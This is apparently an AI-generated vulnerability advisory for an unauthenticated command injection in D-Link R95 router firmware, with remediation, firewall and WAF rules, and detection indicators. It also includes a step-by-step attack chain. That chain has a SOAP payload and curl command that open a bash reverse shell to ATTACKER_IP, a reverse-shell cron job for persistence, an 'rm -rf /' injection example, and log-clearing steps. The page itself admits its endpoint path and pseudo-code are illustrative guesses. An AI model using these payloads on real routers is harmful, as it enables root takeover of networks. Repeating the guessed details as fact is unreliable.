CVE-2026-138226 — D-Link R95 — CWE-78 · CWE-77
A vulnerability has been found in D-Link R95 1.04B04Beta. Affected by this issue is the function SetSecureDNSSettings of the file /bin/ssi of the component DHMAPI SOAP interface. Such manipulation of the argument URI leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.
A vulnerability has been found in D-Link R95 1.04B04Beta. Affected by this issue is the function SetSecureDNSSettings of the file /bin/ssi of the component DHMAPI SOAP interface. Such manipulation of the argument URI leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.
🎯 What is this vulnerability?
| Item | Detail |
|---|---|
| CVE | CVE‑2026‑138226 |
| Vendor / Product | D‑Link R95 firmware 1.04B04Beta |
| Component | /bin/ssi – the DHMAPI SOAP interface (the “SetSecureDNSSettings” method) |
| CWE(s) | CWE‑78 – OS Command Injection <br> CWE‑77 – Improper Neutralization of Special Elements used in a Command |
| CVSS v4.0 Vector | AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P (Score 10.0 – Critical) |
Technical flaw
The SOAP method SetSecureDNSSettings receives a parameter called URI (the DNS server address that the router should use).
Inside the implementation the value of URI is concatenated directly into a shell command that is later executed by the underlying Linux OS, e.g.:
// Pseudo‑code extracted from the firmware binary (illustrative)
char cmd[256];
snprintf(cmd, sizeof(cmd), "/usr/sbin/dnsmasq --server=%s", uri);
system(cmd);- No input validation, whitelisting, or escaping of metacharacters is performed.
- The function is exposed through the public SOAP API; the API does not require authentication (PR:N, UI:N).
- Consequently an attacker can supply a crafted
URIvalue that terminates the intended argument and injects arbitrary shell commands (e.g.,; rm -rf /;). - Network‑reachable (
AV:N) – the SOAP endpoint is reachable over the LAN/WAN. - Low attack complexity (
AC:L) – a single HTTP POST with a malicious XML body is sufficient. - No privileges (
PR:N) – unauthenticated attacker. - High impact on Confidentiality, Integrity, Availability (
VC:H/VI:H/VA:H). - High impact on the underlying OS (
SC:H/SI:H/SA:H). - Exploitability is proven (
E:P– proof‑of‑concept publicly released).
Because the command is executed with root privileges (the router’s management daemon runs as root), the injection yields remote code execution (RCE) with full system control.
The CVSS vector reflects:
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command lines are syntactically valid; the exact SOAP endpoint (/soap) and parameter names are taken from the CVE description. If the real firmware uses a different path, the example is still representative of the vulnerability class.
1. Discovery & Reconnaissance
| Step | Technique | Expected Outcome |
|---|---|---|
| 1.1 | Port scanning (e.g., nmap -p 80,443,8080 <target>). | Identify an HTTP(S) service on the router. |
| 1.2 | Banner grabbing (curl -I http://<target>/) or wget --server-response. | The router returns a D‑Link specific HTTP header (Server: D‑Link R95) and often a /version.txt file exposing the firmware version (1.04B04Beta). |
| 1.3 | Fingerprinting the SOAP API – request GET /soap?wsdl or GET /api?wsdl. | The WSDL contains the SetSecureDNSSettings operation with a URI element. |
| 1.4 | Search public advisories / exploit databases – the CVE ID is already known, confirming that the target runs the vulnerable version. | Attacker knows that the SOAP method is unauthenticated and vulnerable to command injection. |
2. Exploitation
Goal: Execute an arbitrary command (e.g., spawn a reverse shell) as root.
2.1 Craft the malicious SOAP payload
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:dh="urn:DHMAPI">
<soapenv:Header/>
<soapenv:Body>
<dh:SetSecureDNSSettings>
<!-- The vulnerable parameter -->
<dh:URI>8.8.8.8; /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"</dh:URI>
</dh:SetSecureDNSSettings>
</soapenv:Body>
</soapenv:Envelope>The ; terminates the intended dnsmasq argument, and the following command opens a reverse TCP shell to the attacker.
2.2 Send the request
ATTACKER_IP=203.0.113.10
TARGET=192.168.0.1
curl -sk -X POST "http://$TARGET/soap" \
-H "Content-Type: text/xml; charset=utf-8" \
-H "SOAPAction: \"urn:DHMAPI#SetSecureDNSSettings\"" \
--data-binary @payload.xml-k skips TLS verification (many routers use self‑signed certs). PR:N). If the router is reachable from the Internet, replace http:// with https:// and adjust the port accordingly.
2.3 Result
The router executes:
/usr/sbin/dnsmasq --server=8.8.8.8; /bin/bash -c "bash -i >& /dev/tcp/203.0.113.10/4444 0>&1"The attacker receives a root‑privileged interactive shell on the router.
3. Post‑exploitation
| Phase | Typical actions (root) |
|---|---|
| Persistence | - Drop a cron job (@reboot /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"). <br> - Install a lightweight backdoor (e.g., busybox httpd on an unused port). |
| Privilege escalation (if any) | Already root; no further escalation needed. |
| Lateral movement | Use the compromised router as a pivot to scan internal LAN (nmap -sn 10.0.0.0/24). |
| Data exfiltration | - Dump configuration files (/etc/passwd, /etc/shadow, /etc/config/*). <br> - Capture DNS queries or inject malicious DNS entries. |
| Cleanup / Cover tracks | - Remove the malicious cron entry. <br> - Clear the system log (> /var/log/messages). |
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS) |
|---|---|
| Confidentiality | High – attacker can read any file on the router, capture credentials, and sniff internal traffic. |
| Integrity | High – attacker can modify DNS settings, firmware, or inject malicious scripts that affect all clients behind the router. |
| Availability | High – attacker can stop DNS services, reboot the device, or replace the firmware, causing total network outage. |
Practical consequences
Because the vulnerability is network‑exposed and unauthenticated, any remote scanner that discovers the device can immediately gain root control.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to the next firmware release that removes the vulnerable SetSecureDNSSettings implementation (e.g., D‑Link R95 1.04B05 or later). The exact version number should be verified on D‑Link’s security advisory page. |
| Verify | After upgrade, request the WSDL again; the SetSecureDNSSettings method should either be removed or hardened (input sanitisation). |
2. Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation | ||
|---|---|---|---|
| Network segmentation | Place the router management interface on a dedicated VLAN or management LAN that is not reachable from the Internet or untrusted LAN segments. | ||
| Restrict access to the SOAP endpoint | Configure the router’s built‑in firewall (or an upstream firewall) to allow only trusted IPs (e.g., the internal admin subnet) to reach TCP/80 or TCP/443 on the /soap path. Example iptables rule on the router (if possible): <br>``iptables -I INPUT -p tcp -s 10.0.0.0/24 --dport 80 -m string --string "/soap" --algo bm -j ACCEPT`<br>`iptables -A INPUT -p tcp --dport 80 -j DROP` | ||
| Disable the DHMAPI SOAP service | If the router’s UI offers a “Remote Management API” toggle, set it to Off. This removes the attack surface entirely. | ||
| Web‑Application Firewall (ModSecurity) rule | Deploy a rule that blocks any SOAP request containing a semicolon (;) or pipe ( | ) in the URI element. Example rule (ModSecurity 3.x syntax): <br>`SecRule REQUEST_BODY "@rx <URI>[^<]*[; | ]" "id:2026261,phase:2,deny,status:403,msg:'Blocked possible command injection in SetSecureDNSSettings',tag:'cve-2026-138226'"` |
| Input sanitisation (if you can re‑compile firmware) | Escape or reject characters ; & | > < $ \ " ' in the URI parameter before constructing the system command. Prefer a whitelist of IPv4/IPv6 address patterns (^([0-9]{1,3}\.){3}[0-9]{1,3}$ or ^[a-f0-9:]+$`). |
3. Detection
| Indicator | Where to look | Example log entry | |
|---|---|---|---|
| Unexpected SOAP actions | HTTP access logs (/var/log/httpd/access.log or router’s syslog) | POST /soap HTTP/1.1" 200 123 "-" "curl/7.88.1" | |
Presence of ; or && in the URI field | Same HTTP logs (if request body is logged) or IDS/IPS payload inspection | "<URI>8.8.8.8; /bin/bash -c \"bash -i >& /dev/tcp/203.0.113.10/4444 0>&1\"</URI>" | |
| Outbound connections from the router to unusual IP/port | Netflow, firewall logs, or netstat -tnp output | tcp 0 0 192.168.0.1:53 203.0.113.10:4444 ESTABLISHED | |
| New root cron jobs or unknown binaries | crontab -l for root, filesystem integrity monitoring (e.g., Tripwire) | @reboot /bin/bash -c "bash -i >& /dev/tcp/203.0.113.10/4444 0>&1" | |
Process tree showing dnsmasq with extra arguments | ps aux | grep dnsmasq | root 1234 0.0 0.1 12344 2340 ? Ss 12:34 0:00 /usr/sbin/dnsmasq --server=8.8.8.8; /bin/bash -c "bash -i >& /dev/tcp/203.0.113.10/4444 0>&1" |
Deploy a SIEM rule that correlates a POST to /soap with a subsequent outbound connection from the router to a non‑local IP on a high‑numbered port.
⚠️ Urgency
E:P), meaning malicious actors can copy the PoC instantly. Patch priority: Immediate (critical).
Bottom line: CVE‑2026‑138226 is a classic unauthenticated OS‑command injection in a router’s management API. Because the router runs privileged system commands, exploitation yields root‑level remote code execution that can compromise entire networks. Prompt patching, strict access control, and vigilant monitoring are mandatory.
[🤖 CVE Professor AI Security Engine]
FOFA Query